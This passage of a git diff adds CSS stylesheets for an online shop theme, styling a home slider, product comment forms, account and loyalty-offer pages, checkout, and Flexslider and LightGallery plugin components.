0000000..5ae0d98 --- /dev/null +++ b/themes/default/css/modules/homeslider/bx_styles.css @@ -0,0 +1,100 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {} +.bx-wrapper { } + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url('../../../img/gray_next.png') no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url('../../../img/gray_prev.png') no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/themes/default/css/modules/productcomments/productcomments.css b/themes/default/css/modules/productcomments/productcomments.css new file mode 100755 index 0000000..c29f812 --- /dev/null +++ b/themes/default/css/modules/productcomments/productcomments.css @@ -0,0 +1,223 @@ +#product_comments_block_extra { + padding:10px 0 0 0; + border-top:1px solid #ccc; + font-weight: bold; + font-size:12px; + line-height:18px +} + +#product_comments_block_extra a { + padding-left: 10px; + text-decoration: none; + /*background: url(img/bg_li.png) no-repeat scroll 1px 45% #fff;*/ + +} + +#product_comments_block_extra a:hover {text-decoration: underline} + +#product_comments_block_extra .comments_note {margin-bottom:5px} +#product_comments_block_extra .comments_note span, +#product_comments_block_extra .star_content {float:left} +#product_comments_block_extra .star_content {margin-top:2px} + +#product_comments_block_extra div.star {background: url(../../../img/star.png) no-repeat scroll 0 -1px transparent} + +#product_comments_block_extra div.star_on {background: url(../../../img/star.png) no-repeat scroll 0 -24px transparent} + +#product_comments_block_extra .comments_advices {clear:both;} + +/* pop-in add grade/advice ********************************************************************* */ +#fancybox-wrap { width:585px } +#fancybox-content { + width:585px; + border-width:0 +} + +#new_comment_form { + color: #000000; + text-align: left; +} +#more_info_sheets hr{ + height:2px; + border:0; + background:none; + border-top:1px solid #000000; + margin-top:2px; +} +#new_comment_form .title { + padding:10px; + font-size: 13px; + color: #fff; + text-transform: uppercase; + background: #333 +} +#new_comment_form ul.grade_content {list-style-type:none} +#new_comment_form .grade_content li {width:50%} +#new_comment_form .product {padding:15px} +#new_comment_form .product img { + float:left; + border: 1px solid #ccc; +} +#new_comment_form .product .product_desc { + float:left; + margin-left:15px; + width:300px; + line-height:18px; + color:#666 +} +#new_comment_form .product .product_desc .product_name { + padding-bottom:5px; + font-size:13px; + color:#000 +} + +#new_comment_form .grade_content {margin:0 0 20px 0} +#new_comment_form .grade_content span, +#new_comment_form .grade_content span { + display:inline-block; + padding:0 10px; + width:150px;/* 160 */ + font-weight:bold +} +#new_comment_form .grade_content .cancel {margin-right:5px} + +.new_comment_form_content { + padding:15px 0; +} +.new_comment_form_content .intro_form { + padding-bottom: 10px; + font-weight: bold; + font-size: 12px +} + +#new_comment_form label { + display: block; + margin:12px 0 4px 0; + font-weight: bold; + font-size: 12px; +} +#new_comment_form .submit { + margin-top:20px; + padding:0; + font-size:13px; + text-align:right +} +#new_comment_form button { + cursor: pointer; + cursor: pointer; + display: inline-block; + padding: 4px 7px 3px 7px; + border: 1px solid #CC9900; + border-radius: 3px 3px 3px 3px; + font-weight: bold; + color: #000; + background: url(img/bg_bt.gif) repeat-x scroll 0 0 #F4B61B +} + +#new_comment_form #criterions_list { + list-style-type: none; + float:left; + margin:0px 0 10px; + padding:0; + height:20px; + +} +#new_comment_form #criterions_list .cancel{ + display:none; +} + +#new_comment_form #criterions_list li { + height:20px; +} + +#new_comment_form #criterions_list label { + display: inline; + float: left; + margin: 0 0 0 60px; +} + +#new_comment_form #criterions_list .star_content { + float: right; + margin-right: 180px; +} + +#new_comment_form #new_comment_form_footer { + margin-top: 20px; + font-size: 12px; +} + +/* TAB COMMENTS ******************************************************************************** */ +#product_comments_block_tab {margin:0 0 20px 0} + +#product_comments_block_tab div.comment { +} + +#product_comments_block_tab div.comment div.comment_author span {font-weight:bold;} +#product_comments_block_tab div.comment div.comment_author span, +#product_comments_block_tab div.comment .star_content { + float:left; +} +#product_comments_block_tab div.star, +#product_comments_block_tab div.star_on { + background: url(../../../img/star.png) no-repeat 0 -1px transparent +} +#product_comments_block_tab div.star_on {background-position:0 -24px} + +.fl { float: left; } +.fr { float: right; } +#more_info_block h5{ + margin:0 0 20px; +} +#more_info_block .warning{ + background:#f5f5f5; + border:1px solid #d9d9d9 +} +.texteStar{ + line-height: 19px; + padding: 0 0 0 5px; +} +#new_comment_form_footer #submitNewMessage{ + height:36px; + line-height:36px; + padding:0 29px 2px 19px; + border:1px solid #a9c717; +} +#new_comment_form_footer #submitNewMessage:hover{ + background-position:right center; + background-color:#a9c717; + border:1px solid #a9c717; +} +#product_comments_block_tab div.comment { + border:1px solid #d9d9d9; + border-bottom:0; + color:#000000; +} +#product_comments_block_tab div.comment:last-child{ + border:1px solid #d9d9d9; +} +.comment .colonne1{ + float:left; + width:110px; + padding:16px 15px; + font-size:12px; +} +.comment .colonne2{ + float:left; + width:424px; + padding:16px 20px; + font-size:12px; +} +.comment .colonne2 .star_content{ + margin:0 0 10px; +} +.comment .colonne2 .star_content div{ + float:left; +} +.comment .colonne2 .star_content b{ + font-size:14px; + line-height: 18px; + padding: 0 7px 0 0; +} +.comment .colonne2 p{ + clear:both; +} \ No newline at end of file diff --git a/themes/default/css/my-account.css b/themes/default/css/my-account.css new file mode 100755 index 0000000..e096f2f --- /dev/null +++ b/themes/default/css/my-account.css @@ -0,0 +1,30 @@ +#my-account #left_column {display:none} +#my-account #center_column {} +#page .borderGreen{min-height:400px;} +#my-account #center_column h1 {margin-bottom:60px;border-bottom:1px solid black;padding:20px 0 ;} + + +#my-account .myaccount_lnk_list {list-style-type:none} +#my-account .myaccount_lnk_list li { + width:306px; + height:191px; + padding:0; + float:left; + margin:0 0 0 20px; +} +#my-account .myaccount_lnk_list li:first-child{ + margin:0; +} +#my-account .myaccount_lnk_list li a{ + display:block; + padding:45px; + height:99px; + color:white; + border:1px solid #e6e6e6; + font-size:20px; + line-height:22px; + text-align:center; + text-transform: uppercase; + font-family: Times New Roman; + background:#000000 url('../img/flecheMyAccount.png') no-repeat center 100px; +} diff --git a/themes/default/css/offrefidelite.css b/themes/default/css/offrefidelite.css new file mode 100755 index 0000000..5f62587 --- /dev/null +++ b/themes/default/css/offrefidelite.css @@ -0,0 +1,127 @@ +#offrefidelite .borderGreen { + width:612px; +} +#offrefidelite .borderGreen h1{ + border-bottom: 1px solid #000000; + color: #000000; + font-size: 30px; + margin: 30px 0; + padding: 0 0 30px; +} + + +form.std p.text label, +form.std p.select label, +form.std p.textarea label { + width:162px;/* 180 */ +} +form.std p.checkbox{ + +} +table.produits{ + width:510px; + margin:0 0 20px; +} +table.produits td{ + color:#000000; +} +table.produits td strong.uppercase{ + font-size:13px; + line-height:13px; + padding:10px 0; + display:block; +} +table.produits tr:first-child td strong.uppercase{ + padding:0 0 10px 0; +} +form.std p.submit input, +form.std p.submit a{ + float:right; + margin:0 0 0 10px; + line-height:34px; + height:34px; + text-transform:uppercase; +} +form.std p.submit input{ + height:36px; + line-height:36px; +} +form.std p.submit a:hover{ + background-position:right center; +} +#page .rightCol .etoiles img{ + float:none; + vertical-align:-3px; + margin:0; +} +#page .rightCol .blocRight p.align_center{ + line-height:20px; +} +#page .rightCol .blocRight p.align_center strong{ + display:block; + line-height:17px; + font-size:14px; +} +#page .rightCol .blocRight p.lireLaSuite{ + padding:0 0 20px; + height:36px; +} +#page .rightCol .blocRight p.lireLaSuite a{ + margin:0 0 0 112px; +} +#page .rightCol .blocRight p.lireLaSuite a.button:hover, +#page .rightCol .blocRight p.lireLaSuite a.button{ + background-position:right center; +} + + + +/* Block newsletter */ +#recevoirparmail { + display:block; + width:430px; + text-align:center; + background:white; + padding:0 0 20px; +} +#recevoirparmail p{ + text-align:center; + color:#000000; + font-size:14px; +} +#recevoirparmail p.success_inline{color:#b9da1a;} +#recevoirparmail p.warning_inline{color:#ff0000;} +#recevoirparmail .title_block{ + font-size:18px; + text-transform:uppercase; + color:#000000; + padding:10px; + line-height:26px; + background:none; + font-weight:normal; +} +#recevoirparmail .inputNew{ + margin:0 20px 0 0; + padding:4px 10px 0px; + width:286px; + line-height:35px; + height:35px; + float:left; + border:0; + font-size:12px; + font-family:Arial,Sans-Serif; + background:url('../img/inputNew.png') no-repeat 0 0; +} +#recevoirparmail .button_mini{ + margin:0; + padding:0; + width:104px; + line-height:39px; + height:39px; + float:left; + border:0; + font-size:12px; + font-family:Times New Roman; + text-transform:uppercase; + background:url('../img/submitNewsletter.png') no-repeat 0 0; +} \ No newline at end of file diff --git a/themes/default/css/order-opc.css b/themes/default/css/order-opc.css new file mode 100755 index 0000000..67437ce --- /dev/null +++ b/themes/default/css/order-opc.css @@ -0,0 +1,9 @@ +#order-opc #left_column {display:none} +#order-opc #center_column{} + +#order-opc #center_column h1 {margin-bottom:20px;border-bottom:1px solid black;padding:10px 0 20px 0 ;} +#order-opc #center_column h2 {color:#8daa01;font-size:16px;font-weight:bold;font-family:Arial,Sans-serif;} +#order-opc h3 { + font-weight:normal; + font-size:13px; +} \ No newline at end of file diff --git a/themes/default/css/plugins.css b/themes/default/css/plugins.css new file mode 100644 index 0000000..f5d4e83 --- /dev/null +++ b/themes/default/css/plugins.css @@ -0,0 +1,950 @@ + +/************************************************************************************************************* +************************************* Flexslider **************************************** +**************************************************************************************************************/ + + @font-face { + font-family: 'flexslider-icon'; + src: url('fonts/flexslider-icon.eot'); + src: url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'), url('fonts/flexslider-icon.woff') format('woff'), url('fonts/flexslider-icon.ttf') format('truetype'), url('fonts/flexslider-icon.svg#flexslider-icon') format('svg'); + font-weight: normal; + font-style: normal; + } + + .flex-container a:hover, + .flex-slider a:hover, + .flex-container a:focus, + .flex-slider a:focus { + outline: none; + } + .slides, + .slides > li, + .flex-control-nav, + .flex-direction-nav { + margin: 0; + padding: 0; + list-style: none; + } + .flex-pauseplay span { + text-transform: capitalize; + } + + .flexslider { + margin: 0; + padding: 0; + } + .flexslider .slides > li { + display: none; + -webkit-backface-visibility: hidden; + } + .flexslider .slides img { + width: 100%; + display: block; + } + .flexslider .slides:after { + content: "\0020"; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + html[xmlns] .flexslider .slides { + display: block; + } + * html .flexslider .slides { + height: 1%; + } + .no-js .flexslider .slides > li:first-child { + display: block; + } + + /* DEFAULT THEME */ + .flexslider { + position: relative; + zoom: 1; + } + .flexslider .slides { + zoom: 1; + } + .flexslider .slides img { + height: auto; + } + .flex-viewport { + max-height: 2000px; + -webkit-transition: all 1s ease; + -moz-transition: all 1s ease; + -ms-transition: all 1s ease; + -o-transition: all 1s ease; + transition: all 1s ease; + } + .loading .flex-viewport { + max-height: 300px; + } + .carousel li { + margin-right: 5px; + } + .flex-direction-nav { + *height: 0; + } + .flex-direction-nav a { + text-decoration: none; + display: block; + width: 40px; + height: 40px; + margin: -20px 0 0; + position: absolute; + top: 50%; + z-index: 10; + overflow: hidden; + opacity: 0; + cursor: pointer; + color: rgba(0, 0, 0, 0.8); + text-shadow: 1px 1px 0 rgba(255, 255, 255, 0.3); + -webkit-transition: all 0.3s ease-in-out; + -moz-transition: all 0.3s ease-in-out; + -ms-transition: all 0.3s ease-in-out; + -o-transition: all 0.3s ease-in-out; + transition: all 0.3s ease-in-out; + } + + .flex-direction-nav .flex-prev { + left: -50px; + } + .flex-direction-nav .flex-next { + right: -50px; + text-align: right; + } + .flexslider:hover .flex-direction-nav .flex-prev { + opacity: 0.7; + left: -10px; + } + .flexslider:hover .flex-direction-nav .flex-prev:hover { + opacity: 1; + } + .flexslider:hover .flex-direction-nav .flex-next { + opacity: 0.7; + right: -10px; + } + .flexslider:hover .flex-direction-nav .flex-next:hover { + opacity: 1; + } + .flex-direction-nav .flex-disabled { + opacity: 0!important; + filter: alpha(opacity=0); + cursor: default; + } + .flex-pauseplay a { + display: block; + width: 20px; + height: 20px; + position: absolute; + bottom: 5px; + left: 10px; + opacity: 0.8; + z-index: 10; + overflow: hidden; + cursor: pointer; + color: #000; + } + .flex-pauseplay a:before { + font-family: "flexslider-icon"; + font-size: 20px; + display: inline-block; + content: '\f004'; + } + .flex-pauseplay a:hover { + opacity: 1; + } + .flex-pauseplay a.flex-play:before { + content: '\f003'; + } + .flex-control-nav { + width: 100%; + position: absolute; + bottom: -40px; + text-align: center; + } + .flex-control-nav li { + margin: 0 6px; + display: inline-block; + zoom: 1; + *display: inline; + } + .flex-control-paging li a { + width: 11px; + height: 11px; + display: block; + background: #666; + background: rgba(0, 0, 0, 0.5); + cursor: pointer; + text-indent: -9999px; + -webkit-box-shadow: inset 0 0 3px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 0 3px rgba(0, 0, 0, 0.3); + -o-box-shadow: inset 0 0 3px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 0 3px rgba(0, 0, 0, 0.3); + -webkit-border-radius: 20px; + -moz-border-radius: 20px; + border-radius: 20px; + } + .flex-control-paging li a:hover { + background: #333; + background: rgba(0, 0, 0, 0.7); + } + .flex-control-paging li a.flex-active { + background: #000; + background: rgba(0, 0, 0, 0.9); + cursor: default; + } + .flex-control-thumbs { + margin: 5px 0 0; + position: static; + overflow: hidden; + } + .flex-control-thumbs li { + width: 25%; + float: left; + margin: 0; + } + .flex-control-thumbs img { + width: 100%; + height: auto; + display: block; + opacity: .7; + cursor: pointer; + -webkit-transition: all 1s ease; + -moz-transition: all 1s ease; + -ms-transition: all 1s ease; + -o-transition: all 1s ease; + transition: all 1s ease; + } + .flex-control-thumbs img:hover { + opacity: 1; + } + .flex-control-thumbs .flex-active { + opacity: 1; + cursor: default; + } + + +@media screen and (max-width: 860px) { + .flex-direction-nav .flex-prev { + opacity: 1; + left: 10px; + } + .flex-direction-nav .flex-next { + opacity: 1; + right: 10px; + } +} + + + +/************************************************************************************************************* +************************************* LightGallery *************************************** +**************************************************************************************************************/ + +.lg-icon { font-family: 'icomoon' } + +.lg-actions .lg-next, .lg-actions .lg-prev { + color: #999; + cursor: pointer; + display: block; + font-size: 22px; + position: absolute; + top: 50%; + z-index: 1080; +} +.lg-actions .lg-next.disabled, .lg-actions .lg-prev.disabled { + pointer-events: none; + opacity: 0.5; +} +.lg-actions .lg-next:hover, .lg-actions .lg-prev:hover { + color: #FFF; +} +.lg-actions .lg-next { + right: 0px; +} +.lg-actions .lg-prev { + left: 0px; +} + +@-webkit-keyframes lg-right-end { + 0% { + left: 0; + } + 50% { + left: -30px; + } + 100% { + left: 0; + } +} +@-moz-keyframes lg-right-end { + 0% { + left: 0; + } + 50% { + left: -30px; + } + 100% { + left: 0; + } +} +@-ms-keyframes lg-right-end { + 0% { + left: 0; + } + 50% { + left: -30px; + } + 100% { + left: 0; + } +} +@keyframes lg-right-end { + 0% { + left: 0; + } + 50% { + left: -30px; + } + 100% { + left: 0; + } +} +@-webkit-keyframes lg-left-end { + 0% { + left: 0; + } + 50% { + left: 30px; + } + 100% { + left: 0; + } +} +@-moz-keyframes lg-left-end { + 0% { + left: 0; + } + 50% { + left: 30px; + } + 100% { + left: 0; + } +} +@-ms-keyframes lg-left-end { + 0% { + left: 0; + } + 50% { + left: 30px; + } + 100% { + left: 0; + } +} +@keyframes lg-left-end { + 0% { + left: 0; + } + 50% { + left: 30px; + } + 100% { + left: 0; + } +} +.lg-outer.lg-right-end .lg-object { + -webkit-animation: lg-right-end 0.3s; + -o-animation: lg-right-end 0.3s; + animation: lg-right-end 0.3s; + position: relative; +} +.lg-outer.lg-left-end .lg-object { + -webkit-animation: lg-left-end 0.3s; + -o-animation: lg-left-end 0.3s; + animation: lg-left-end 0.3s; + position: relative; +} + +.lg-toolbar { + z-index: 1080; + left: 0; + position: absolute; + top: 0; + width: 100%; +} +.lg-toolbar .lg-icon { + color: #999; + cursor: pointer; + float: right; + font-size: 24px; + height: 47px; + line-height: 27px; + padding: 10px 0; + text-align: center; + width: 50px; + text-decoration: none !important; + outline: medium none; +} +.lg-toolbar .lg-icon:hover { + color: #FFF; +} + +.lg-toolbar .lg-download { + display: none; +} + +.lg-sub-html { + background-color: rgba(0, 0, 0, 0.45); + bottom: 0; + color: #EEE; + font-size: 16px; + left: 0; + padding: 10px 40px; + position: fixed; + right: 0; + text-align: center; + z-index: 1080; +} +.lg-sub-html h4 { + margin: 0; + font-size: 13px; + font-weight: bold; +} +.lg-sub-html p { + font-size: 12px; + margin: 5px 0 0; +} + +#lg-counter { + color: #999; + display: inline-block; + font-size: 16px; + padding-left: 20px; + padding-top: 12px; + vertical-align: middle; +} + +.lg-toolbar, .lg-prev, .lg-next { + opacity: 1; + -webkit-transition: -webkit-transform 0.35s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.35s cubic-bezier(0, 0, 0.25, 1) 0s; + -moz-transition: -moz-transform 0.35s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.35s cubic-bezier(0, 0, 0.25, 1) 0s; + -o-transition: -o-transform 0.35s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.35s cubic-bezier(0, 0, 0.25, 1) 0s; + transition: transform 0.35s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.35s cubic-bezier(0, 0, 0.25, 1) 0s; +} + +.lg-hide-items .lg-prev { + opacity: 0; + -webkit-transform: translate3d(-10px, 0, 0); + transform: translate3d(-10px, 0, 0); +} +.lg-hide-items .lg-next { + opacity: 0; + -webkit-transform: translate3d(10px, 0, 0); + transform: translate3d(10px, 0, 0); +} +.lg-hide-items .lg-toolbar { + opacity: 0; + -webkit-transform: translate3d(0, -10px, 0); + transform: translate3d(0, -10px, 0); +} + +body:not(.lg-from-hash) .lg-outer.lg-start-zoom .lg-object { + -webkit-transform: scale3d(0.5, 0.5, 0.5); + transform: scale3d(0.5, 0.5, 0.5); + opacity: 0; + -webkit-transition: -webkit-transform 250ms ease 0s, opacity 250ms !important; + -moz-transition: -moz-transform 250ms ease 0s, opacity 250ms !important; + -o-transition: -o-transform 250ms ease 0s, opacity 250ms !important; + transition: transform 250ms ease 0s, opacity 250ms !important; + -webkit-transform-origin: 50% 50%; + -moz-transform-origin: 50% 50%; + -ms-transform-origin: 50% 50%; + transform-origin: 50% 50%; +} +body:not(.lg-from-hash) .lg-outer.lg-start-zoom .lg-item.lg-complete .lg-object { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1); + opacity: 1; +} + +.lg-outer .lg-thumb-outer { + bottom: 0; + position: absolute; + width: 100%; + z-index: 1080; + max-height: 350px; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + -webkit-transition: -webkit-transform 0.25s cubic-bezier(0, 0, 0.25, 1) 0s; + -moz-transition: -moz-transform 0.25s cubic-bezier(0, 0, 0.25, 1) 0s; + -o-transition: -o-transform 0.25s cubic-bezier(0, 0, 0.25, 1) 0s; + transition: transform 0.25s cubic-bezier(0, 0, 0.25, 1) 0s; +} +.lg-outer .lg-thumb-outer.lg-grab .lg-thumb-item { + cursor: -webkit-grab; + cursor: -moz-grab; + cursor: -o-grab; + cursor: -ms-grab; + cursor: grab; +} +.lg-outer .lg-thumb-outer.lg-grabbing .lg-thumb-item { + cursor: move; + cursor: -webkit-grabbing; + cursor: -moz-grabbing; + cursor: -o-grabbing; + cursor: -ms-grabbing; + cursor: grabbing; +} +.lg-outer .lg-thumb-outer.lg-dragging .lg-thumb { + -webkit-transition-duration: 0s !important; + transition-duration: 0s !important; +} +.lg-outer.lg-thumb-open .lg-thumb-outer { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); +} +.lg-outer .lg-thumb { + padding: 10px 0; + height: 100%; + margin-bottom: -5px; +} +.lg-outer .lg-thumb-item { + border-radius: 5px; + cursor: pointer; + float: left; + overflow: hidden; + height: 100%; + border: 2px solid #FFF; + border-radius: 4px; + margin-bottom: 5px; +} +@media (min-width: 1025px) { + .lg-outer .lg-thumb-item { + -webkit-transition: border-color 0.25s ease; + -o-transition: border-color 0.25s ease; + transition: border-color 0.25s ease; + } +} + +.lg-outer .lg-thumb-item img { + display: block; + margin: 0 auto; + height: 100%; +} +.lg-outer.lg-has-thumb .lg-item { + padding-bottom: 120px; +} +.lg-outer.lg-can-toggle .lg-item { + padding-bottom: 0; +} +.lg-outer.lg-pull-caption-up .lg-sub-html { + -webkit-transition: bottom 0.25s ease; + -o-transition: bottom 0.25s ease; + transition: bottom 0.25s ease; +} +.lg-outer.lg-pull-caption-up.lg-thumb-open .lg-sub-html { + bottom: 100px; +} +.lg-outer .lg-toogle-thumb { + display: none; +} + +.lg-progress-bar { + background-color: #333; + height: 5px; + left: 0; + position: absolute; + top: 0; + width: 100%; + z-index: 1080; + opacity: 0; + -webkit-transition: opacity 0.08s ease 0s; + -moz-transition: opacity 0.08s ease 0s; + -o-transition: opacity 0.08s ease 0s; + transition: opacity 0.08s ease 0s; +} +.lg-progress-bar .lg-progress { + background-color: #a90707; + height: 5px; + width: 0; +} +.lg-progress-bar.lg-start .lg-progress { + width: 100%; +} +.lg-show-autoplay .lg-progress-bar { + opacity: 1; +} + +.lg-autoplay-button:after { + content: "\e01d"; +} +.lg-show-autoplay .lg-autoplay-button:after { + content: "\e01a"; +} + +.lg-outer.lg-css3.lg-zoom-dragging .lg-item.lg-complete.lg-zoomable .lg-img-wrap, .lg-outer.lg-css3.lg-zoom-dragging .lg-item.lg-complete.lg-zoomable .lg-image { + -webkit-transition-duration: 0s; + transition-duration: 0s; +} +.lg-outer .lg-item.lg-complete.lg-zoomable .lg-img-wrap { + -webkit-transition: -webkit-transform 0.3s ease 0s; + -moz-transition: -moz-transform 0.3s ease 0s; + -o-transition: -o-transform 0.3s ease 0s; + transition: transform 0.3s ease 0s; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + backface-visibility: hidden; +} +.lg-outer .lg-item.lg-complete.lg-zoomable .lg-image { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1); + -webkit-transition: -webkit-transform 0.3s ease 0s, opacity 0.15s !important; + -moz-transition: -moz-transform 0.3s ease 0s, opacity 0.15s !important; + -o-transition: -o-transform 0.3s ease 0s, opacity 0.15s !important; + transition: transform 0.3s ease 0s, opacity 0.15s !important; + -webkit-transform-origin: 0 0; + -moz-transform-origin: 0 0; + -ms-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + backface-visibility: hidden; +} + +#lg-zoom-in:after { + content: "\e311"; +} + +#lg-zoom-out { + opacity: 0.5; + pointer-events: none; +} +#lg-zoom-out:after { + content: "\e312"; +} +.lg-zoomed #lg-zoom-out { + opacity: 1; + pointer-events: auto; +} + +.lg-outer .lg-pager-outer { + bottom: 60px; + left: 0; + position: absolute; + right: 0; + text-align: center; + z-index: 1080; + height: 10px; +} +.lg-outer .lg-pager-outer.lg-pager-hover .lg-pager-cont { + overflow: visible; +} +.lg-outer .lg-pager-cont { + cursor: pointer; + display: inline-block; + overflow: hidden; + position: relative; + vertical-align: top; + margin: 0 5px; +} +.lg-outer .lg-pager-cont:hover .lg-pager-thumb-cont { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.lg-outer .lg-pager-cont.lg-pager-active .lg-pager { + box-shadow: 0 0 0 2px white inset; +} +.lg-outer .lg-pager-thumb-cont { + background-color: #fff; + color: #FFF; + bottom: 100%; + height: 83px; + left: 0; + margin-bottom: 20px; + margin-left: -60px; + opacity: 0; + padding: 5px; + position: absolute; + width: 120px; + border-radius: 3px; + -webkit-transition: opacity 0.15s ease 0s, -webkit-transform 0.15s ease 0s; + -moz-transition: opacity 0.15s ease 0s, -moz-transform 0.15s ease 0s; + -o-transition: opacity 0.15s ease 0s, -o-transform 0.15s ease 0s; + transition: opacity 0.15s ease 0s, transform 0.15s ease 0s; + -webkit-transform: translate3d(0, 5px, 0); + transform: translate3d(0, 5px, 0); +} +.lg-outer .lg-pager-thumb-cont img { + width: 100%; + height: 100%; +} +.lg-outer .lg-pager { + background-color: rgba(255, 255, 255, 0.5); + border-radius: 50%; + box-shadow: 0 0 0 8px rgba(255, 255, 255, 0.7) inset; + display: block; + height: 12px; + -webkit-transition: box-shadow 0.3s ease 0s; + -o-transition: box-shadow 0.3s ease 0s; + transition: box-shadow 0.3s ease 0s; + width: 12px; +} +.lg-outer .lg-pager:hover, .lg-outer .lg-pager:focus { + box-shadow: 0 0 0 8px white inset; +} +.lg-outer .lg-caret { + border-left: 10px solid transparent; + border-right: 10px solid transparent; + border-top: 10px dashed; + bottom: -10px; + display: inline-block; + height: 0; + left: 50%; + margin-left: -5px; + position: absolute; + vertical-align: middle; + width: 0; +} + +.lg-fullscreen:after { + content: "\e20c"; +} +.lg-fullscreen-on .lg-fullscreen:after { + content: "\e20d"; +} + +.group { + *zoom: 1; +} + +.group:before, .group:after { + display: table; + content: ""; + line-height: 0; +} + +.group:after { + clear: both; +} + +.lg-outer { + width: 100%; + height: 100%; + position: fixed; + top: 0; + left: 0; + z-index: 1050; + opacity: 0; + -webkit-transition: opacity 0.15s ease 0s; + -o-transition: opacity 0.15s ease 0s; + transition: opacity 0.15s ease 0s; +} +.lg-outer * { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +.lg-outer.lg-visible { + opacity: 1; +} +.lg-outer.lg-css3 .lg-item.lg-prev-slide, .lg-outer.lg-css3 .lg-item.lg-next-slide, .lg-outer.lg-css3 .lg-item.lg-current { + -webkit-transition-duration: inherit !important; + transition-duration: inherit !important; + -webkit-transition-timing-function: inherit !important; + transition-timing-function: inherit !important; +} +.lg-outer.lg-css3.lg-dragging .lg-item.lg-prev-slide, .lg-outer.lg-css3.lg-dragging .lg-item.lg-next-slide, .lg-outer.lg-css3.lg-dragging .lg-item.lg-current { + -webkit-transition-duration: 0s !important; + transition-duration: 0s !important; + opacity: 1; +} +.lg-outer.lg-grab img.lg-object { + cursor: -webkit-grab; + cursor: -moz-grab; + cursor: -o-grab; + cursor: -ms-grab; + cursor: grab; +} +.lg-outer.lg-grabbing img.lg-object { + cursor: move; + cursor: -webkit-grabbing; + cursor: -moz-grabbing; + cursor: -o-grabbing; + cursor: -ms-grabbing; + cursor: grabbing; +} +.lg-outer .lg { + height: 100%; + width: 100%; + position: relative; + overflow: hidden; + margin-left: auto; + margin-right: auto; + max-width: 100%; + max-height: 100%; +} +.lg-outer .lg-inner { + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; + white-space: nowrap; +} +.lg-outer .lg-item { + background: url("../img/jquery/loading.gif") no-repeat scroll center center transparent; + display: none !important; +} +.lg-outer.lg-css3 .lg-prev-slide, .lg-outer.lg-css3 .lg-current, .lg-outer.lg-css3 .lg-next-slide { + display: inline-block !important; +} +.lg-outer.lg-css .lg-current { + display: inline-block !important; +} +.lg-outer .lg-item, .lg-outer .lg-img-wrap { + display: inline-block; + text-align: center; + position: absolute; + width: 100%; + height: 100%; +} +.lg-outer .lg-item:before, .lg-outer .lg-img-wrap:before { + content: ""; + display: inline-block; + height: 50%; + width: 1px; + margin-right: -1px; +} +.lg-outer .lg-img-wrap { + top: 0; + bottom: 0; + left: 0; + right: 0; + padding: 0 5px; +} +.lg-outer .lg-item.lg-complete { + background-image: none; +} +.lg-outer .lg-item.lg-current { + z-index: 1060; +} +.lg-outer .lg-image { + display: inline-block; + vertical-align: middle; + max-width: 100%; + max-height: 100%; + width: auto !important; + height: auto !important; +} +.lg-outer.lg-show-after-load .lg-item .lg-object, .lg-outer.lg-show-after-load .lg-item .lg-video-play { + opacity: 0; + -webkit-transition: opacity 0.15s ease 0s; + -o-transition: opacity 0.15s ease 0s; + transition: opacity 0.15s ease 0s; +} +.lg-outer.lg-show-after-load .lg-item.lg-complete .lg-object, .lg-outer.lg-show-after-load .lg-item.lg-complete .lg-video-play { + opacity: 1; +} +.lg-outer .lg-empty-html { + display: none; +} +.lg-outer.lg-hide-download #lg-download { + display: none; +} + +.lg-backdrop { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + z-index: 1040; + background-color: #fff; + opacity: 0; + -webkit-transition: opacity 0.15s ease 0s; + -o-transition: opacity 0.15s ease 0s; + transition: opacity 0.15s ease 0s; +} +.lg-backdrop.in { + opacity: 1; +} + +.lg-css3.lg-no-trans .lg-prev-slide, .lg-css3.lg-no-trans .lg-next-slide, .lg-css3.lg-no-trans .lg-current { + -webkit-transition: none 0s ease 0s !important; + -moz-transition: none 0s ease 0s !important; + -o-transition: none 0s ease 0s !important; + transition: none 0s ease 0s !important; +} +.lg-css3.lg-use-css3 .lg-item 